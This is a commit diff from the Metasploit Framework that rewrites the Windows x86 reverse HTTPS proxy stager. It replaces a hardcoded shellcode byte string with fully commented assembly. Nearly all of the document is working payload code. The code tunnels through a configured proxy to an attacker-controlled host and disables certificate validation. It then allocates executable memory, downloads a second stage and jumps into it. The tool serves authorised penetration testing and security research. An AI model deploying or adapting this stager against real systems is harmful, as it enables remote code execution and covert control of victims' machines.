Skip to content

Commit 3167a6c

Browse files
committed
fix(payloads): re-wrote reverse_https_proxy stager
1 parent 4468d3b commit 3167a6c

File tree

1 file changed

+214
-119
lines changed

1 file changed

+214
-119
lines changed

modules/payloads/stagers/windows/reverse_https_proxy.rb

Lines changed: 214 additions & 119 deletions
Original file line numberDiff line numberDiff line change
@@ -3,61 +3,28 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
76
module MetasploitModule
8-
97
CachedSize = 384
108

119
include Msf::Payload::Stager
1210
include Msf::Payload::Windows
11+
include Msf::Payload::Windows::BlockApi
1312

1413
def initialize(info = {})
15-
super(merge_info(info,
16-
'Name' => 'Reverse HTTPS Stager with Support for Custom Proxy',
17-
'Description' => 'Tunnel communication over HTTP using SSL with custom proxy support',
18-
'Author' => ['hdm','corelanc0d3r <peter.ve[at]corelan.be>', 'amaloteaux'],
19-
'License' => MSF_LICENSE,
20-
'Platform' => 'win',
21-
'Arch' => ARCH_X86,
22-
'Handler' => Msf::Handler::ReverseHttpsProxy,
23-
'Convention' => 'sockedi https',
24-
'Stager' =>
25-
{
26-
'Payload' =>
27-
"\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" +
28-
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" +
29-
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" +
30-
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" +
31-
"\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" +
32-
"\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" +
33-
"\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" +
34-
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" +
35-
"\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x6E\x65\x74\x00\x68\x77" +
36-
"\x69\x6E\x69\x54\x68\x4C\x77\x26\x07\xFF\xD5\xE8\x0F\x00\x00\x00" +
37-
"\x50\x52\x4F\x58\x59\x48\x4F\x53\x54\x3A\x50\x4F\x52\x54\x00\x59" +
38-
"\x31\xFF\x57\x54\x51\x6A\x03\x6A\x00\x68\x3A\x56\x79\xA7\xFF\xD5" +
39-
"\xE9\xC4\x00\x00\x00\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C" +
40-
"\x11\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\x89\xC6\x50\x52" +
41-
"\x4F\x58\x59\x5F\x41\x55\x54\x48\x5F\x53\x54\x41\x52\x54\xE8\x0F" +
42-
"\x00\x00\x00\x50\x52\x4F\x58\x59\x5F\x55\x53\x45\x52\x4E\x41\x4D" +
43-
"\x45\x00\x59\x6A\x0F\x51\x6A\x2B\x56\x68\x75\x46\x9E\x86\xFF\xD5" +
44-
"\xE8\x0F\x00\x00\x00\x50\x52\x4F\x58\x59\x5F\x50\x41\x53\x53\x57" +
45-
"\x4F\x52\x44\x00\x59\x6A\x0F\x51\x6A\x2C\x56\x68\x75\x46\x9E\x86" +
46-
"\xFF\xD5\x50\x52\x4F\x58\x59\x5F\x41\x55\x54\x48\x5F\x53\x54\x4F" +
47-
"\x50\xEB\x48\x59\x31\xD2\x52\x68\x00\x32\xA0\x84\x52\x52\x52\x51" +
48-
"\x52\x56\x68\xEB\x55\x2E\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x68\x80" +
49-
"\x33\x00\x00\x89\xE0\x6A\x04\x50\x6A\x1F\x56\x68\x75\x46\x9E\x86" +
50-
"\xFF\xD5\x31\xFF\x57\x57\x57\x57\x56\x68\x2D\x06\x18\x7B\xFF\xD5" +
51-
"\x85\xC0\x75\x1A\x4B\x74\x10\xEB\xD5\xEB\x49\xE8\xB3\xFF\xFF\xFF" +
52-
"\x2F\x31\x32\x33\x34\x35\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x40" +
53-
"\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xA4\x53\xE5" +
54-
"\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00\x20\x00\x00\x53\x56\x68" +
55-
"\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xCD\x8B\x07\x01\xC3\x85\xC0" +
56-
"\x75\xE5\x58\xC3\xE8\xEC\xFE\xFF\xFF"
57-
}
58-
))
59-
60-
14+
super(
15+
merge_info(
16+
info,
17+
'Name' => 'Reverse HTTPS Stager with Support for Custom Proxy',
18+
'Description' => 'Tunnel communication over HTTP using SSL with custom proxy support',
19+
'Author' => ['hdm', 'corelanc0d3r <peter.ve[at]corelan.be>', 'amaloteaux'],
20+
'License' => MSF_LICENSE,
21+
'Platform' => 'win',
22+
'Arch' => ARCH_X86,
23+
'Handler' => Msf::Handler::ReverseHttpsProxy,
24+
'Convention' => 'sockedi https',
25+
'Stager' => { 'Payload' => '' }
26+
)
27+
)
6128
end
6229

6330
#
@@ -71,82 +38,211 @@ def stage_over_connection?
7138
# Generate the first stage
7239
#
7340
def generate(_opts = {})
74-
p = super
75-
76-
i = p.index("/12345\x00")
77-
u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttpsProxy::URI_CHECKSUM_INITW) + "\x00"
78-
p[i, u.length] = u
79-
80-
# patch proxy info
8141
proxyhost = datastore['HttpProxyHost'].to_s
82-
proxyport = datastore['HttpProxyPort'].to_s || "8080"
83-
84-
if Rex::Socket.is_ipv6?(proxyhost)
85-
proxyhost = "[#{proxyhost}]"
86-
end
42+
proxyhost = "[#{proxyhost}]" if Rex::Socket.is_ipv6?(proxyhost)
43+
proxyport = datastore['HttpProxyPort'].to_s || '8080'
44+
proxyinfo = proxyhost
8745

88-
proxyinfo = proxyhost + ":" + proxyport
89-
if proxyport == "80"
90-
proxyinfo = proxyhost
91-
end
46+
proxyinfo = "#{proxyhost}:#{proxyport}" unless proxyport == '80'
47+
protocol = 'socks='
9248
if datastore['HttpProxyType'].to_s == 'HTTP'
93-
proxyinfo = 'http://' + proxyinfo
94-
else #socks
95-
proxyinfo = 'socks=' + proxyinfo
49+
protocol = 'http://'
9650
end
97-
98-
proxyloc = p.index("PROXYHOST:PORT")
99-
p = p.gsub("PROXYHOST:PORT",proxyinfo)
100-
101-
# Patch the call
102-
calloffset = proxyinfo.length + 1
103-
p[proxyloc-4] = [calloffset].pack('V')[0]
104-
105-
# Authentication credentials have not been specified
106-
if datastore['HttpProxyUser'].to_s == '' ||
107-
datastore['HttpProxyPass'].to_s == '' ||
108-
datastore['HttpProxyType'].to_s == 'SOCKS'
109-
110-
jmp_offset = p.index("PROXY_AUTH_STOP") + 15 - p.index("PROXY_AUTH_START")
111-
112-
# Remove the authentication code
113-
p = p.gsub(/PROXY_AUTH_START(.)*PROXY_AUTH_STOP/i, "")
114-
else
115-
username_size_diff = 14 - datastore['HttpProxyUser'].to_s.length
116-
password_size_diff = 14 - datastore['HttpProxyPass'].to_s.length
117-
jmp_offset =
118-
16 + # PROXY_AUTH_START length
119-
15 + # PROXY_AUTH_STOP length
120-
username_size_diff + # Difference between datastore HttpProxyUser length and db "HttpProxyUser length"
121-
password_size_diff # Same with HttpProxyPass
122-
123-
# Patch call offset
124-
username_loc = p.index("PROXY_USERNAME")
125-
p[username_loc - 4, 4] = [15 - username_size_diff].pack("V")
126-
password_loc = p.index("PROXY_PASSWORD")
127-
p[password_loc - 4, 4] = [15 - password_size_diff].pack("V")
128-
129-
# Remove markers & change login/password
130-
p = p.gsub("PROXY_AUTH_START","")
131-
p = p.gsub("PROXY_AUTH_STOP","")
132-
p = p.gsub("PROXY_USERNAME", datastore['HttpProxyUser'].to_s)
133-
p = p.gsub("PROXY_PASSWORD", datastore['HttpProxyPass'].to_s)
51+
proxyinfo = protocol + proxyinfo
52+
53+
proxy_auth_asm = ''
54+
unless datastore['HttpProxyUser'].to_s == '' ||
55+
datastore['HttpProxyPass'].to_s == '' ||
56+
datastore['HttpProxyType'].to_s == 'SOCKS'
57+
proxy_auth_asm = %(
58+
call set_proxy_username
59+
proxy_username:
60+
db "#{datastore['HttpProxyUser']}",0x00
61+
set_proxy_username:
62+
pop ecx ; Save the proxy username
63+
push dword 15 ; DWORD dwBufferLength
64+
push ecx ; LPVOID lpBuffer (username)
65+
push byte 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
66+
push esi ; hConnection
67+
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
68+
call ebp
69+
70+
call set_proxy_password
71+
proxy_password:
72+
db "#{datastore['HttpProxyPass']}",0x00
73+
set_proxy_password:
74+
pop ecx ; Save the proxy password
75+
push dword 15 ; DWORD dwBufferLength
76+
push ecx ; LPVOID lpBuffer (password)
77+
push byte 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
78+
push esi ; hConnection
79+
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
80+
call ebp
81+
)
13482
end
13583

136-
# Patch jmp dbl_get_server_host
137-
jmphost_loc = p.index("\x68\x3a\x56\x79\xa7\xff\xd5") + 8 # push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) ; call ebp
138-
p[jmphost_loc, 4] = [p[jmphost_loc, 4].unpack("V")[0] - jmp_offset].pack("V")
139-
140-
# Patch call Internetopen
141-
p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("V")[0] + jmp_offset].pack("V")
142-
143-
# Patch the LPORT
144-
lportloc = p.index("\x68\x5c\x11\x00\x00") # PUSH DWORD 4444
145-
p[lportloc+1,4] = [datastore['LPORT'].to_i].pack('V')
146-
147-
# Append LHOST and return payload
148-
p + datastore['LHOST'].to_s + "\x00"
149-
84+
payload = %(
85+
cld
86+
call start
87+
#{asm_block_api}
88+
start:
89+
pop ebp
90+
load_wininet:
91+
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
92+
push 0x696e6977 ; ...
93+
push esp ; Push a pointer to the "wininet" string on the stack.
94+
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
95+
call ebp ; LoadLibraryA( "wininet" )
96+
call internetopen
97+
98+
proxy_server_name:
99+
db "#{proxyinfo}",0x00
100+
101+
internetopen:
102+
pop ecx ; pointer to proxy_server_name
103+
xor edi,edi
104+
push edi ; DWORD dwFlags
105+
push esp ; LPCTSTR lpszProxyBypass (empty)
106+
push ecx ; LPCTSTR lpszProxyName
107+
push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
108+
push 0 ; NULL pointer
109+
; push esp ; LPCTSTR lpszAgent ("\x00") // doesn't seem to work with this
110+
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')}
111+
call ebp
112+
jmp dbl_get_server_host
113+
114+
internetconnect:
115+
pop ebx ; Save the hostname pointer
116+
xor ecx, ecx
117+
push ecx ; DWORD_PTR dwContext (NULL)
118+
push ecx ; dwFlags
119+
push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
120+
push ecx ; password
121+
push ecx ; username
122+
push #{datastore['LPORT']} ; PORT
123+
push ebx ; HOSTNAME
124+
push eax ; HINTERNET hInternet
125+
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')}
126+
call ebp
127+
128+
mov esi,eax ; safe hConnection
129+
#{proxy_auth_asm}
130+
jmp get_server_uri
131+
132+
httpopenrequest:
133+
pop ecx
134+
xor edx, edx ; NULL
135+
push edx ; dwContext (NULL)
136+
push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags
137+
;0x80000000 | ; INTERNET_FLAG_RELOAD
138+
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
139+
;0x00800000 | ; INTERNET_FLAG_SECURE
140+
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
141+
;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
142+
;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
143+
;0x00000200 ; INTERNET_FLAG_NO_UI
144+
push edx ; accept types
145+
push edx ; referrer
146+
push edx ; version
147+
push ecx ; url
148+
push edx ; method
149+
push esi ; hConnection
150+
push #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')}
151+
call ebp
152+
mov esi, eax ; hHttpRequest
153+
154+
set_retry:
155+
push 0x10
156+
pop ebx
157+
158+
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
159+
set_security_options:
160+
push 0x00003380
161+
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
162+
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
163+
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
164+
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
165+
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
166+
mov eax, esp
167+
push 4 ; sizeof(dwFlags)
168+
push eax ; &dwFlags
169+
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
170+
push esi ; hRequest
171+
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
172+
call ebp
173+
174+
httpsendrequest:
175+
xor edi, edi
176+
push edi ; optional length
177+
push edi ; optional
178+
push edi ; dwHeadersLength
179+
push edi ; headers
180+
push esi ; hHttpRequest
181+
push #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')}
182+
call ebp
183+
test eax,eax
184+
jnz allocate_memory
185+
186+
try_it_again:
187+
dec ebx
188+
jz failure
189+
jmp set_security_options
190+
191+
dbl_get_server_host:
192+
jmp get_server_host
193+
194+
get_server_uri:
195+
call httpopenrequest
196+
197+
server_uri:
198+
db "/#{generate_uri_checksum(Msf::Handler::ReverseHttpsProxy::URI_CHECKSUM_INITW)}", 0x00
199+
200+
failure:
201+
push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} ; hardcoded to exitprocess for size
202+
call ebp
203+
204+
allocate_memory:
205+
push 0x40 ; PAGE_EXECUTE_READWRITE
206+
push 0x1000 ; MEM_COMMIT
207+
push 0x00400000 ; Stage allocation (8Mb ought to do us)
208+
push edi ; NULL as we dont care where the allocation is (zero'd from the prev function)
209+
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} ; hash( "kernel32.dll", "VirtualAlloc" )
210+
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
211+
212+
download_prep:
213+
xchg eax, ebx ; place the allocated base address in ebx
214+
push ebx ; store a copy of the stage base address on the stack
215+
push ebx ; temporary storage for bytes read count
216+
mov edi, esp ; &bytesRead
217+
218+
download_more:
219+
push edi ; &bytesRead
220+
push 8192 ; read length
221+
push ebx ; buffer
222+
push esi ; hRequest
223+
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
224+
call ebp
225+
226+
test eax,eax ; download failed? (optional?)
227+
jz failure
228+
229+
mov eax, [edi]
230+
add ebx, eax ; buffer += bytes_received
231+
232+
test eax,eax ; optional?
233+
jnz download_more ; continue until it returns 0
234+
pop eax ; clear the temporary storage
235+
236+
execute_stage:
237+
ret ; dive into the stored stage address
238+
239+
get_server_host:
240+
call internetconnect
241+
server_host:
242+
db "#{datastore['LHOST']}",0x00
243+
)
244+
245+
Metasm::Shellcode.assemble(Metasm::X86.new, payload).encode_string
150246
end
151247

152248
#
@@ -156,4 +252,3 @@ def wfs_delay
156252
20
157253
end
158254
end
159-

0 commit comments

Comments
 (0)